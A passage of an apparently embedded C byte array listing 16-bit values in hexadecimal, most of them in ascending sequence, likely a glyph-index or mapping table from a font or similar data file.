0x01, 0xA8, + 0x01, 0xA9, 0x01, 0xAA, 0x01, 0xAB, 0x01, 0xAC, + 0x01, 0xAD, 0x01, 0xAE, 0x01, 0xAF, 0x01, 0xB0, + 0x01, 0xB1, 0x01, 0xB2, 0x01, 0xB3, 0x01, 0xB4, + 0x01, 0xB5, 0x01, 0xB6, 0x01, 0xB7, 0x01, 0xB8, + 0x00, 0x60, 0x00, 0x61, 0x00, 0x62, 0x00, 0x67, + 0x00, 0x64, 0x00, 0xA0, 0x00, 0x66, 0x00, 0x83, + 0x00, 0xAA, 0x00, 0x8B, 0x00, 0x6A, 0x00, 0x97, + 0x01, 0xB9, 0x00, 0xA5, 0x00, 0x80, 0x00, 0xA1, + 0x00, 0x9C, 0x00, 0xA4, 0x00, 0xA9, 0x00, 0x7D, + 0x00, 0x98, 0x00, 0x73, 0x00, 0x72, 0x00, 0x85, + 0x00, 0x96, 0x00, 0x8F, 0x00, 0x78, 0x00, 0x9E, + 0x00, 0x9B, 0x00, 0xA3, 0x00, 0x7B, 0x00, 0xAE, + 0x00, 0xAB, 0x00, 0xAC, 0x00, 0xB0, 0x00, 0xAD, + 0x00, 0xAF, 0x00, 0x8A, 0x00, 0xB1, 0x00, 0xB5, + 0x00, 0xB2, 0x00, 0xB3, 0x00, 0xB4, 0x00, 0xB9, + 0x00, 0xB6, 0x00, 0xB7, 0x00, 0xB8, 0x00, 0x9A, + 0x00, 0xBA, 0x00, 0xBE, 0x00, 0xBB, 0x00, 0xBC, + 0x00, 0xBF, 0x00, 0xBD, 0x00, 0xA8, 0x00, 0x8D, + 0x00, 0xC4, 0x00, 0xC1, 0x00, 0xC2, 0x00, 0xC3, + 0x00, 0xC5, 0x00, 0x9D, 0x00, 0x95, 0x00, 0xCB, + 0x00, 0xC8, 0x00, 0xC9, 0x00, 0xCD, 0x00, 0xCA, + 0x00, 0xCC, 0x00, 0x90, 0x00, 0xCE, 0x00, 0xD2, + 0x00, 0xCF, 0x00, 0xD0, 0x00, 0xD1, 0x00, 0xD6, + 0x00, 0xD3, 0x00, 0xD4, 0x00, 0xD5, 0x00, 0xA7, + 0x00, 0xD7, 0x00, 0xDB, 0x00, 0xD8, 0x00, 0xD9, + 0x00, 0xDC, 0x00, 0xDA, 0x00, 0x9F, 0x00, 0x93, + 0x00, 0xE1, 0x00, 0xDE, 0x00, 0xDF, 0x00, 0xE0, + 0x00, 0xE2, 0x00, 0xA2, 0x00, 0xE3, 0x01, 0xBA, + 0x01, 0xBB, 0x01, 0xBC, 0x01, 0xBD, 0x01, 0xBE, + 0x01, 0xBF, 0x01, 0xC0, 0x01, 0xC1, 0x01, 0xC2, + 0x01, 0xC3, 0x01, 0xC4, 0x01, 0xC5, 0x01, 0xC6, + 0x01, 0xC7, 0x01, 0xC8, 0x01, 0xC9, 0x01, 0xCA, + 0x01, 0xCB, 0x01, 0xCC, 0x01, 0xCD, 0x01, 0xCE, + 0x01, 0xCF, 0x01, 0xD0, 0x01, 0xD1, 0x01, 0xD2, + 0x01, 0xD3, 0x01, 0xD4, 0x01, 0xD5, 0x01, 0xD6, + 0x01, 0xD7, 0x01, 0xD8, 0x01, 0xD9, 0x01, 0xDA, + 0x01, 0xDB, 0x01, 0xDC, 0x01, 0xDD, 0x01, 0xDE, + 0x01, 0xDF, 0x01, 0xE0, 0x01, 0xE1, 0x01, 0xE2, + 0x01, 0xE3, 0x01, 0xE4, 0x01, 0xE5, 0x01, 0xE6, + 0x01, 0xE7, 0x01, 0xE8, 0x01, 0xE9, 0x01, 0xEA, + 0x00, 0x91, 0x01, 0xEB, 0x01, 0xEC, 0x01, 0xED, + 0x01, 0xEE, 0x01, 0xEF, 0x01, 0xF0, 0x01, 0xF1, + 0x01, 0xF2, 0x01, 0xF3, 0x01, 0xF4, 0x01, 0xF5, + 0x01, 0xF6, 0x01, 0xF7, 0x01, 0xF8, 0x01, 0xF9, + 0x00, 0x8C, 0x00, 0x92, 0x01, 0xFA, 0x01, 0xFB, + 0x01, 0xFC, 0x01, 0xFD, 0x01, 0xFE, 0x01, 0xFF, + 0x02, 0x00, 0x02, 0x01, 0x02, 0x02, 0x02, 0x03, + 0x02, 0x04, 0x02, 0x05, 0x02, 0x06, 0x02, 0x07, + 0x02, 0x08, 0x00, 0x8E, 0x00, 0x94, 0x02, 0x09, + 0x02, 0x0A, 0x02, 0x0B, 0x02, 0x0C, 0x02, 0x0D, + 0x02, 0x0E, 0x02, 0x0F, 0x02, 0x10, 0x02, 0x11, + 0x02, 0x12, 0x02, 0x13, 0x02, 0x14, 0x00, 0xC0, + 0x00, 0xDD, 0x02, 0x15, 0x02, 0x16, 0x02, 0x17, + 0x02, 0x18, 0x02, 0x19, 0x02, 0x1A, 0x02, 0x1B, + 0x02, 0x1C, 0x02, 0x1D, 0x02, 0x1E, 0x02, 0x1F, + 0x02, 0x20, 0x02, 0x21, 0x02, 0x22, 0x02, 0x23, + 0x02, 0x24, 0x02, 0x25, 0x02, 0x26, 0x02, 0x27, + 0x02, 0x28, 0x02, 0x29, 0x02, 0x2A, 0x00, 0xC6, + 0x02, 0x2B, 0x02, 0x2C, 0x02, 0x2D, 0x02, 0x2E, + 0x00, 0xC7, 0x00, 0xE4, 0x02, 0x2F, 0x02, 0x30, + 0x02, 0x31, 0x02, 0x32, 0x02, 0x33, 0x02, 0x34, + 0x02, 0x35, 0x02, 0x36, 0x02, 0x37, 0x02, 0x38, + 0x02, 0x39, 0x02, 0x3A, 0x02, 0x3B, 0x02, 0x3C, + 0x02, 0x3D, 0x02, 0x3E, 0x02, 0x3F, 0x02, 0x40, + 0x02, 0x41, 0x00, 0x65, 0x02, 0x42, 0x02, 0x43, + 0x02, 0x44, 0x02, 0x45, 0x02, 0x46, 0x02, 0x47, + 0x02, 0x48, 0x02, 0x49, 0x02, 0x4A, 0x02, 0x4B, + 0x02, 0x4C, 0x02, 0x4D, 0x02, 0x4E, 0x02, 0x4F, + 0x02, 0x50, 0x02, 0x51, 0x02, 0x52, 0x02, 0x53, + 0x02, 0x54, 0x02, 0x55, 0x02, 0x56, 0x02, 0x57, + 0x02, 0x58, 0x02, 0x59, 0x02, 0x5A, 0x02, 0x5B, + 0x02, 0x5C, 0x02, 0x5D, 0x02, 0x5E, 0x02, 0x5F, + 0x02, 0x60, 0x02, 0x61, 0x02, 0x62, 0x02, 0x63, + 0x02, 0x64, 0x02, 0x65, 0x02, 0x66, 0x02, 0x67, + 0x02, 0x68, 0x02, 0x69, 0x02, 0x6A, 0x02, 0x6B, + 0x02, 0x6C, 0x02, 0x6D, 0x02, 0x6E, 0x02, 0x6F, + 0x02, 0x70, 0x02, 0x71, 0x02, 0x72, 0x02, 0x73, + 0x02, 0x74, 0x02, 0x75, 0x02, 0x76, 0x02, 0x77, + 0x02, 0x78, 0x02, 0x79, 0x02, 0x7A, 0x02, 0x7B, + 0x02, 0x7C, 0x02, 0x7D, 0x02, 0x7E, 0x02, 0x7F, + 0x02, 0x80, 0x02, 0x81, 0x02, 0x82, 0x02, 0x83, + 0x02, 0x84, 0x02, 0x85, 0x02, 0x86, 0x02, 0x87, + 0x02, 0x88, 0x02, 0x89, 0x02, 0x8A, 0x02, 0x8B, + 0x02, 0x8C, 0x02, 0x8D, 0x02, 0x8E, 0x02, 0x8F, + 0x02, 0x90, 0x02, 0x91, 0x02, 0x92, 0x02, 0x93, + 0x02, 0x94, 0x02, 0x95, 0x02, 0x96, 0x02, 0x97, + 0x02, 0x98, 0x02, 0x99, 0x02, 0x9A, 0x02, 0x9B, + 0x02, 0x9C, 0x02, 0x9D, 0x02, 0x9E, 0x02, 0x9F, + 0x02, 0xA0, 0x02, 0xA1, 0x02, 0xA2, 0x02, 0xA3, + 0x02, 0xA4, 0x02, 0xA5, 0x02, 0xA6, 0x02, 0xA7, + 0x02, 0xA8, 0x02, 0xA9, 0x02, 0xAA, 0x02, 0xAB, + 0x02, 0xAC, 0x02, 0xAD, 0x02, 0xAE, 0x02, 0xAF, + 0x02, 0xB0, 0x02, 0xB1, 0x02, 0xB2, 0x02, 0xB3, + 0x02, 0xB4, 0x02, 0xB5, 0x02, 0xB6, 0x02, 0xB7, + 0x02, 0xB8, 0x02, 0xB9, 0x02, 0xBA, 0x02, 0xBB, + 0x02, 0xBC, 0x02, 0xBD, 0x02, 0xBE, 0x02, 0xBF, + 0x02, 0xC0, 0x02, 0xC1, 0x02, 0xC2, 0x02, 0xC3, + 0x02, 0xC4, 0x02, 0xC5, 0x02, 0xC6, 0x02, 0xC7, + 0x02, 0xC8, 0x02, 0xC9, 0x02, 0xCA, 0x02, 0xCB, + 0x02, 0xCC, 0x02, 0xCD, 0x02, 0xCE, 0x02, 0xCF, + 0x02, 0xD0, 0x02, 0xD1, 0x02, 0xD2, 0x02, 0xD3, + 0x02, 0xD4, 0x02, 0xD5, 0x02, 0xD6, 0x02, 0xD7, + 0x02, 0xD8, 0x02, 0xD9, 0x02, 0xDA, 0x02, 0xDB, + 0x02, 0xDC, 0x02, 0xDD, 0x02, 0xDE, 0x02, 0xDF, + 0x02, 0xE0, 0x02, 0xE1, 0x02, 0xE2, 0x02, 0xE3, + 0x02, 0xE4, 0x02, 0xE5, 0x02, 0xE6, 0x02, 0xE7, + 0x02, 0xE8, 0x02, 0xE9, 0x02, 0xEA, 0x02, 0xEB, + 0x02, 0xEC, 0x02, 0xED, 0x02, 0xEE, 0x02, 0xEF, + 0x02, 0xF0, 0x02, 0xF1, 0x02, 0xF2, 0x02, 0xF3, + 0x02, 0xF4, 0x02, 0xF5, 0x02, 0xF6, 0x02, 0xF7, + 0x02, 0xF8, 0x02, 0xF9, 0x02, 0xFA, 0x02, 0xFB, + 0x02, 0xFC, 0x02, 0xFD, 0x02, 0xFE, 0x02, 0xFF, + 0x03, 0x00, 0x03, 0x01, 0x03, 0x02, 0x03, 0x03, + 0x03, 0x04, 0x03, 0x05, 0x03, 0x06, 0x03, 0x07, + 0x03, 0x08, 0x03, 0x09, 0x03, 0x0A, 0x03, 0x0B, + 0x03, 0x0C, 0x03, 0x0D, 0x03, 0x0E, 0x03, 0x0F, + 0x03, 0x10, 0x03, 0x11, 0x03, 0x12, 0x03, 0x13, + 0x03, 0x14, 0x03, 0x15, 0x03, 0x16, 0x03, 0x17, + 0x03, 0x18, 0x03, 0x19, 0x03, 0x1A, 0x03, 0x1B, + 0x03, 0x1C, 0x03, 0x1D, 0x03, 0x1E, 0x03, 0x1F, + 0x03, 0x20, 0x03, 0x21, 0x03, 0x22, 0x03, 0x23, + 0x03, 0x24, 0x03, 0x25, 0x03, 0x26, 0x03, 0x27, + 0x03, 0x28, 0x03, 0x29, 0x03, 0x2A, 0x03, 0x2B, + 0x03, 0x2C, 0x03, 0x2D, 0x03, 0x2E, 0x03, 0x2F, + 0x03, 0x30, 0x03, 0x31, 0x03, 0x32, 0x03, 0x33, + 0x03, 0x34, 0x03, 0x35, 0x03, 0x36, 0x03, 0x37, + 0x03, 0x38, 0x03, 0x39, 0x03, 0x3A, 0x03, 0x3B, + 0x03, 0x3C, 0x03, 0x3D, 0x03, 0x3E, 0x03, 0x3F, + 0x03, 0x40, 0x03, 0x41, 0x03, 0x42, 0x03, 0x43, + 0x03, 0x44, 0x03, 0x45, 0x03, 0x46, 0x03, 0x47, + 0x03, 0x48, 0x03, 0x49, 0x03, 0x4A, 0x03, 0x4B, + 0x03, 0x4C, 0x03, 0x4D, 0x03, 0x4E, 0x03, 0x4F, + 0x03, 0x50, 0x03, 0x51, 0x03, 0x52, 0x03, 0x53, + 0x03, 0x54, 0x03, 0x55, 0x03, 0x56, 0x03, 0x57, + 0x03, 0x58, 0x03, 0x59, 0x03, 0x5A, 0x03, 0x5B, + 0x03, 0x5C, 0x03, 0x5D, 0x03, 0x5E, 0x03, 0x5F, + 0x03, 0x60, 0x03, 0x61, 0x03, 0x62, 0x03, 0x63, + 0x03, 0x64, 0x03, 0x65, 0x03, 0x66, 0x03, 0x67, + 0x03, 0x68, 0x03, 0x69, 0x03, 0x6A, 0x03, 0x6B, + 0x03, 0x6C, 0x03, 0x6D, 0x03, 0x6E, 0x03, 0x6F, + 0x03, 0x70, 0x03, 0x71, 0x03, 0x72, 0x03, 0x73, + 0x03, 0x74, 0x03, 0x75, 0x03, 0x76, 0x03, 0x77, + 0x03, 0x78, 0x03, 0x79, 0x03, 0x7A, 0x03, 0x7B, + 0x03, 0x7C, 0x03, 0x7D, 0x03, 0x7E, 0x03, 0x7F, + 0x03, 0x80, 0x03, 0x81, 0x03, 0x82, 0x03, 0x83, + 0x03, 0x84, 0x03, 0x85, 0x03, 0x86, 0x03, 0x87, + 0x03, 0x88, 0x03, 0x89, 0x03, 0x8A, 0x03, 0x8B, + 0x03, 0x8C, 0x03, 0x8D, 0x03, 0x8E, 0x03, 0x8F, + 0x03, 0x90, 0x03, 0x91, 0x03, 0x92, 0x03, 0x93, + 0x03, 0x94, 0x03, 0x95, 0x03, 0x96, 0x03, 0x97, + 0x03, 0x98, 0x03, 0x99, 0x03, 0x9A, 0x03, 0x9B, + 0x03, 0x9C, 0x03, 0x9D, 0x03, 0x9E, 0x03, 0x9F, + 0x03, 0xA0, 0x03, 0xA1, 0x03, 0xA2, 0x03, 0xA3, + 0x03, 0xA4, 0x03, 0xA5, 0x03, 0xA6, 0x03, 0xA7, + 0x03, 0xA8, 0x03, 0xA9, 0x03, 0xAA, 0x03, 0xAB, + 0x03, 0xAC, 0x03, 0xAD, 0x03, 0xAE, 0x03, 0xAF, + 0x03, 0xB0, 0x03, 0xB1, 0x03, 0xB2, 0x03, 0xB3, + 0x03, 0xB4, 0x03, 0xB5, 0x03, 0xB6, 0x03, 0xB7, + 0x03, 0xB8, 0x03, 0xB9, 0x03, 0xBA, 0x03, 0xBB, + 0x03, 0xBC, 0x03, 0xBD, 0x03, 0xBE, 0x03, 0xBF, + 0x03, 0xC0, 0x03, 0xC1, 0x03, 0xC2, 0x03, 0xC3, + 0x03, 0xC4, 0x03, 0xC5, 0x03, 0xC6, 0x03, 0xC7, + 0x03, 0xC8, 0x03, 0xC9, 0x03, 0xCA, 0x03, 0xCB, + 0x03, 0xCC, 0x03, 0xCD, 0x03, 0xCE, 0x03, 0xCF, + 0x03, 0xD0, 0x03, 0xD1, 0x03, 0xD2, 0x03, 0xD3, + 0x03, 0xD4, 0x03, 0xD5, 0x03, 0xD6, 0x03, 0xD7, + 0x03, 0xD8, 0x03, 0xD9, 0x03, 0xDA, 0x03, 0xDB, + 0x03, 0xDC, 0x03, 0xDD, 0x03, 0xDE, 0x03, 0xDF, + 0x03, 0xE0, 0x03, 0xE1, 0x03, 0xE2, 0x03, 0xE3, + 0x03, 0xE4, 0x03, 0xE5, 0x03, 0xE6, 0x03, 0xE7, + 0x03, 0xE8, 0x03, 0xE9, 0x03, 0xEA, 0x03, 0xEB, + 0x03, 0xEC, 0x03, 0xED, 0x03, 0xEE, 0x03, 0xEF, + 0x03, 0xF0, 0x03, 0xF1, 0x03, 0xF2, 0x03, 0xF3, + 0x03, 0xF4, 0x03, 0xF5, 0x03, 0xF6, 0x03, 0xF7, + 0x03, 0xF8, 0x03, 0xF9, 0x03, 0xFA, 0x03, 0xFB, + 0x03, 0xFC, 0x03, 0xFD, 0x03, 0xFE, 0x03, 0xFF, + 0x04, 0x00, 0x04, 0x01, 0x04, 0x02, 0x04, 0x03, + 0x04, 0x04, 0x04, 0x05, 0x04, 0x06, 0x04, 0x07, + 0x04, 0x08, 0x04, 0x09, 0x04, 0x0A, 0x04, 0x0B, + 0x04, 0x0C, 0x04, 0x0D, 0x04, 0x0E, 0x04, 0x0F, + 0x04, 0x10, 0x04, 0x11, 0x04, 0x12, 0x04, 0x13, + 0x04, 0x14, 0x04, 0x15, 0x04, 0x16, 0x04, 0x17, + 0x04, 0x18, 0x04, 0x19, 0x04, 0x1A, 0x04, 0x1B, + 0x04, 0x1C, 0x04, 0x1D, 0x04, 0x1E, 0x04, 0x1F, + 0x04, 0x20, 0x04, 0x21, 0x04, 0x22, 0x04, 0x23, + 0x04, 0x24, 0x04, 0x25, 0x04, 0x26, 0x04, 0x27, + 0x04, 0x28, 0x04, 0x29, 0x04, 0x2A, 0x04, 0x2B, + 0x04, 0x2C, 0x04, 0x2D, 0x04, 0x2E, 0x04, 0x2F, + 0x04, 0x30, 0x04, 0x31, 0x04, 0x32, 0x04, 0x33, + 0x04, 0x34, 0x04, 0x35, 0x04, 0x36, 0x04, 0x37, + 0x04, 0x38, 0x04, 0x39, 0x04, 0x3A, 0x04, 0x3B, + 0x04, 0x3C, 0x04, 0x3D, 0x04, 0x3E, 0x04, 0x3F, + 0x04, 0x40, 0x04, 0x41, 0x04, 0x42, 0x04, 0x43, + 0x04, 0x44, 0x04, 0x45, 0x04, 0x46, 0x04, 0x47, + 0x04, 0x48, 0x04, 0x49, 0x04, 0x4A, 0x04, 0x4B, + 0x04, 0x4C, 0x04, 0x4D, 0x04, 0x4E, 0x04, 0x4F, + 0x04, 0x50, 0x04, 0x51, 0x04, 0x52, 0x04, 0x53, + 0x04, 0x54, 0x04, 0x55, 0x04, 0x56, 0x04, 0x57, + 0x04, 0x58, 0x04, 0x59, 0x04, 0x5A, 0x04, 0x5B, + 0x04, 0x5C, 0x04, 0x5D, 0x04, 0x5E, 0x04, 0x5F, + 0x04, 0x60, 0x04, 0x61, 0x04, 0x62, 0x04, 0x63, + 0x04, 0x64, 0x04, 0x65, 0x04, 0x66, 0x04, 0x67, + 0x04, 0x68, 0x04, 0x69, 0x04, 0x6A, 0x04, 0x6B, + 0x04, 0x6C, 0x04, 0x6D, 0x04, 0x6E, 0x04, 0x6F, + 0x04, 0x70, 0x04, 0x71, 0x04, 0x72, 0x04, 0x73, + 0x04, 0x74, 0x04, 0x75, 0x04, 0x76, 0x04, 0x77, + 0x04, 0x78, 0x04, 0x79, 0x04, 0x7A, 0x04, 0x7B, + 0x04, 0x7C, 0x04, 0x7D, 0x04, 0x7E, 0x04, 0x7F, + 0x04, 0x80, 0x04, 0x81, 0x04, 0x82, 0x04, 0x83, + 0x04, 0x84, 0x04, 0x85, 0x04, 0x86, 0x04, 0x87, + 0x04, 0x88, 0x04, 0x89, 0x04, 0x8A, 0x04, 0x8B, + 0x04, 0x8C, 0x04, 0x8D, 0x04, 0x8E, 0x04, 0x8F, + 0x04, 0x90, 0x04, 0x91, 0x04, 0x92, 0x04, 0x93, + 0x04, 0x94, 0x04, 0x95, 0x04, 0x96, 0x04, 0x97, + 0x04, 0x98, 0x04, 0x99, 0x04, 0x9A, 0x04, 0x9B, + 0x04, 0x9C, 0x04, 0x9D, 0x04, 0x9E, 0x04, 0x9F, + 0x04, 0xA0, 0x04, 0xA1, 0x04, 0xA2, 0x04, 0xA3, + 0x04, 0xA4, 0x04, 0xA5, 0x04, 0xA6, 0x04, 0xA7, + 0x04, 0xA8, 0x04, 0xA9, 0x04, 0xAA, 0x04, 0xAB, + 0x04, 0xAC, 0x04, 0xAD, 0x04, 0xAE, 0x04, 0xAF, + 0x04, 0xB0, 0x04, 0xB1, 0x04, 0xB2, 0x04, 0xB3, + 0x04, 0xB4, 0x04, 0xB5, 0x04, 0xB6, 0x04, 0xB7, + 0x04, 0xB8, 0x04, 0xB9, 0x04, 0xBA, 0x04, 0xBB, + 0x04, 0xBC, 0x04, 0xBD, 0x04, 0xBE, 0x04, 0xBF, + 0x04, 0xC0, 0x04, 0xC1, 0x04, 0xC2, 0x04, 0xC3, + 0x04, 0xC4, 0x04, 0xC5, 0x04, 0xC6, 0x04, 0xC7, + 0x04, 0xC8, 0x04, 0xC9, 0x04, 0xCA, 0x04, 0xCB, + 0x04, 0xCC, 0x04, 0xCD, 0x04, 0xCE, 0x04, 0xCF, + 0x04, 0xD0, 0x04, 0xD1, 0x04, 0xD2, 0x04, 0xD3, + 0x04, 0xD4, 0x04, 0xD5, 0x04, 0xD6, 0x04, 0xD7, + 0x04, 0xD8, 0x04, 0xD9, 0x04, 0xDA, 0x04, 0xDB, + 0x04, 0xDC, 0x04, 0xDD, 0x04, 0xDE, 0x04, 0xDF, + 0x04, 0xE0, 0x04, 0xE1, 0x04, 0xE2, 0x04, 0xE3, + 0x04, 0xE4, 0x04, 0xE5, 0x04, 0xE6, 0x04, 0xE7, + 0x04, 0xE8, 0x04, 0xE9, 0x04, 0xEA, 0x04, 0xEB, + 0x04, 0xEC, 0x04, 0xED, 0x04, 0xEE, 0x04, 0xEF, + 0x04, 0xF0, 0x04, 0xF1, 0x04, 0xF2, 0x04, 0xF3, + 0x04, 0xF4, 0x04, 0xF5, 0x04, 0xF6, 0x04, 0xF7, + 0x04, 0xF8, 0x04, 0xF9, 0x04, 0xFA, 0x04, 0xFB, + 0x04, 0xFC, 0x04, 0xFD, 0x04, 0xFE, 0x04, 0xFF, + 0x05, 0x00, 0x05, 0x01, 0x05, 0x02, 0x05, 0x03, + 0x05, 0x04, 0x05, 0x05, 0x05, 0x06, 0x05, 0x07, + 0x05, 0x08, 0x05, 0x09, 0x05, 0x0A, 0x05, 0x0B, + 0x05, 0x0C, 0x05, 0x0D, 0x05, 0x0E, 0x05, 0x0F, + 0x05, 0x10, 0x05, 0x11, 0x05, 0x12, 0x05, 0x13, + 0x05, 0x14, 0x05, 0x15, 0x05, 0x16, 0x05, 0x17, + 0x05, 0x18, 0x05, 0x19, 0x05, 0x1A, 0x05, 0x1B, + 0x05, 0x1C, 0x05, 0x1D, 0x05, 0x1E, 0x05, 0x1F, + 0x05, 0x20, 0x05, 0x21, 0x05, 0x22, 0x05, 0x23, + 0x05, 0x24, 0x05, 0x25, 0x05, 0x26, 0x05, 0x27, + 0x05, 0x28, 0x05, 0x29, 0x05, 0x2A, 0x05, 0x2B, + 0x05, 0x2C, 0x05, 0x2D, 0x05, 0x2E, 0x05, 0x2F, + 0x05, 0x30, 0x05, 0x31, 0x05, 0x32, 0x05, 0x33, + 0x05, 0x34, 0x05, 0x35, 0x05, 0x36, 0x05, 0x37, + 0x05, 0x38, 0x05, 0x39, 0x05, 0x3A, 0x05, 0x3B, + 0x05, 0x3C, 0x05, 0x3D, 0x05, 0x3E, 0x05, 0x3F, + 0x05, 0x40, 0x05, 0x41, 0x05, 0x42, 0x05, 0x43, + 0x05, 0x44, 0x05, 0x45, 0x05, 0x46, 0x05, 0x47, + 0x05, 0x48, 0x05, 0x49, 0x05, 0x4A, 0x05, 0x4B, + 0x05, 0x4C, 0x05, 0x4D, 0x05, 0x4E, 0x05, 0x4F, + 0x05, 0x50, 0x05, 0x51, 0x05, 0x52, 0x05, 0x53, + 0x05, 0x54, 0x05, 0x55, 0x05, 0x56, 0x05, 0x57, + 0x05, 0x58, 0x05, 0x59, 0x05, 0x5A, 0x05, 0x5B, + 0x05, 0x5C, 0x05, 0x5D, 0x05, 0x5E, 0x05, 0x5F, + 0x05, 0x60, 0x05, 0x61, 0x05, 0x62, 0x05, 0x63, + 0x05, 0x64, 0x05, 0x65, 0x05, 0x66, 0x05, 0x67, + 0x05, 0x68, 0x05, 0x69, 0x05, 0x6A, 0x05, 0x6B, + 0x05, 0x6C, 0x05, 0x6D, 0x05, 0x6E, 0x05, 0x6F, + 0x05, 0x70, 0x05, 0x71, 0x05, 0x72, 0x05, 0x73, + 0x05, 0x74, 0x05, 0x75, 0x05, 0x76, 0x05, 0x77, + 0x05, 0x78, 0x05, 0x79, 0x05, 0x7A, 0x05, 0x7B, + 0x05, 0x7C, 0x05, 0x7D, 0x05, 0x7E, 0x05, 0x7F, + 0x05, 0x80, 0x05, 0x81, 0x05, 0x82, 0x05, 0x83, + 0x05, 0x84, 0x05, 0x85, 0x05, 0x86, 0x05, 0x87, + 0x05, 0x88, 0x05, 0x89, 0x05, 0x8A, 0x05, 0x8B, + 0x05, 0x8C, 0x05, 0x8D, 0x05, 0x8E, 0x05, 0x8F, + 0x05, 0x90, 0x05, 0x91, 0x05, 0x92, 0x05, 0x93, + 0x05, 0x94, 0x05, 0x95, 0x05, 0x96, 0x05, 0x97, + 0x05, 0x98, 0x05, 0x99, 0x05, 0x9A, 0x05, 0x9B, + 0x05, 0x9C, 0x05, 0x9D, 0x05, 0x9E, 0x05, 0x9F, + 0x05, 0xA0, 0x05, 0xA1, 0x05, 0xA2, 0x05, 0xA3, + 0x05, 0xA4, 0x05, 0xA5, 0x05, 0xA6, 0x05, 0xA7, + 0x05, 0xA8, 0x05, 0xA9, 0x05, 0xAA, 0x05, 0xAB, + 0x05, 0xAC, 0x05, 0xAD, 0x05, 0xAE, 0x05, 0xAF, + 0x05, 0xB0, 0x05, 0xB1, 0x05, 0xB2, 0x05, 0xB3, + 0x05, 0xB4, 0x05, 0xB5, 0x05, 0xB6, 0x05, 0xB7, + 0x05, 0xB8, 0x05, 0xB9, 0x05, 0xBA, 0x05, 0xBB, + 0x05, 0xBC, 0x05, 0xBD, 0x05, 0xBE, 0x05, 0xBF, + 0x05, 0xC0, 0x05, 0xC1, 0x05, 0xC2, 0x05, 0xC3, + 0x05, 0xC4, 0x05, 0xC5, 0x05, 0xC6, 0x05, 0xC7, + 0x05, 0xC8, 0x05, 0xC9, 0x05, 0xCA, 0x05, 0xCB, + 0x05, 0xCC, 0x05, 0xCD, 0x05, 0xCE, 0x05, 0xCF, + 0x05, 0xD0, 0x05, 0xD1, 0x05, 0xD2, 0x05, 0xD3, + 0x05, 0xD4, 0x05, 0xD5, 0x05, 0xD6, 0x05, 0xD7, + 0x05, 0xD8, 0x05, 0xD9, 0x05, 0xDA, 0x05, 0xDB, + 0x05, 0xDC, 0x05, 0xDD, 0x05, 0xDE, 0x05, 0xDF, + 0x05, 0xE0, 0x05, 0xE1, 0x05, 0xE2, 0x05, 0xE3, + 0x05, 0xE4, 0x05, 0xE5, 0x05, 0xE6, 0x05, 0xE7, + 0x05, 0xE8, 0x05, 0xE9, 0x05, 0xEA, 0x05, 0xEB, + 0x05, 0xEC, 0x05, 0xED, 0x05, 0xEE, 0x05, 0xEF, + 0x05, 0xF0, 0x05, 0xF1, 0x05, 0xF2, 0x05, 0xF3, + 0x05, 0xF4, 0x05, 0xF5, 0x05, 0xF6, 0x05, 0xF7, + 0x05, 0xF8, 0x05, 0xF9, 0x05, 0xFA, 0x05, 0xFB, + 0x05, 0xFC, 0x05, 0xFD, 0x05, 0xFE, 0x05, 0xFF, + 0x06, 0x00, 0x06, 0x01, 0x06, 0x02, 0x06, 0x03, + 0x06, 0x04, 0x06, 0x05, 0x06, 0x06, 0x06, 0x07, + 0x06, 0x08, 0x06, 0x09, 0x06, 0x0A, 0x06, 0x0B, + 0x06, 0x0C, 0x06, 0x0D, 0x06, 0x0E, 0x06, 0x0F, + 0x06, 0x10, 0x06, 0x11, 0x06, 0x12, 0x06, 0x13, + 0x06, 0x14, 0x06, 0x15, 0x06, 0x16, 0x06, 0x17, + 0x06, 0x18, 0x06, 0x19, 0x06, 0x1A, 0x06, 0x1B, + 0x06, 0x1C, 0x06, 0x1D, 0x06, 0x1E, 0x06, 0x1F, + 0x06, 0x20, 0x06, 0x21, 0x06, 0x22, 0x06, 0x23, + 0x06, 0x24, 0x06, 0x25, 0x06, 0x26, 0x06, 0x27, + 0x06, 0x28, 0x06, 0x29, 0x06, 0x2A, 0x06, 0x2B, + 0x06, 0x2C, 0x06, 0x2D, 0x06, 0x2E, 0x06, 0x2F, + 0x06, 0x30, 0x06, 0x31, 0x06, 0x32, 0x06, 0x33, + 0x06, 0x34, 0x06, 0x35, 0x06, 0x36, 0x06, 0x37, + 0x06, 0x38, 0x06, 0x39, 0x06, 0x3A, 0x06, 0x3B, + 0x06, 0x3C, 0x06, 0x3D, 0x06, 0x3E, 0x06, 0x3F, + 0x06, 0x40, 0x06, 0x41, 0x06, 0x42, 0x06, 0x43, + 0x06, 0x44, 0x06, 0x45, 0x06, 0x46, 0x06, 0x47, + 0x06, 0x48, 0x06, 0x49, 0x06, 0x4A, 0x06, 0x4B, + 0x06, 0x4C, 0x06, 0x4D, 0x06, 0x4E, 0x06, 0x4F, + 0x06, 0x50, 0x06, 0x51, 0x06, 0x52, 0x06, 0x53, + 0x06, 0x54, 0x06, 0x55, 0x06, 0x56, 0x06, 0x57, + 0x06, 0x58, 0x06, 0x59, 0x06, 0x5A, 0x06, 0x5B, + 0x06, 0x5C, 0x06, 0x5D, 0x06, 0x5E, 0x06, 0x5F, + 0x06, 0x60, 0x06, 0x61, 0x06, 0x62, 0x06, 0x63, + 0x06, 0x64, 0x06, 0x65, 0x06, 0x66, 0x06, 0x67, + 0x06, 0x68, 0x06, 0x69, 0x06, 0x6A, 0x06, 0x6B, + 0x06, 0x6C, 0x06, 0x6D, 0x06, 0x6E, 0x06, 0x6F, + 0x06, 0x70, 0x06, 0x71, 0x06, 0x72, 0x06, 0x73, + 0x06, 0x74, 0x06, 0x75, 0x06, 0x76, 0x06, 0x77, + 0x06, 0x78, 0x06, 0x79, 0x06, 0x7A, 0x06, 0x7B, + 0x06, 0x7C, 0x06, 0x7D, 0x06, 0x7E, 0x06, 0x7F, + 0x06, 0x80, 0x06, 0x81, 0x06, 0x82, 0x06, 0x83, + 0x06, 0x84, 0x06, 0x85, 0x06, 0x86, 0x06, 0x87, + 0x06, 0x88, 0x06, 0x89, 0x06, 0x8A, 0x06, 0x8B, + 0x06, 0x8C, 0x06, 0x8D, 0x06, 0x8E, 0x06, 0x8F, + 0x06, 0x90, 0x06, 0x91, 0x06, 0x92, 0x06, 0x93, + 0x06, 0x94, 0x06, 0x95, 0x06, 0x96, 0x06, 0x97, + 0x06, 0x98, 0x06, 0x99, 0x06, 0x9A, 0x06, 0x9B, + 0x06, 0x9C, 0x06, 0x9D, 0x06, 0x9E, 0x06, 0x9F, + 0x06, 0xA0, 0x06, 0xA1, 0x06, 0xA2, 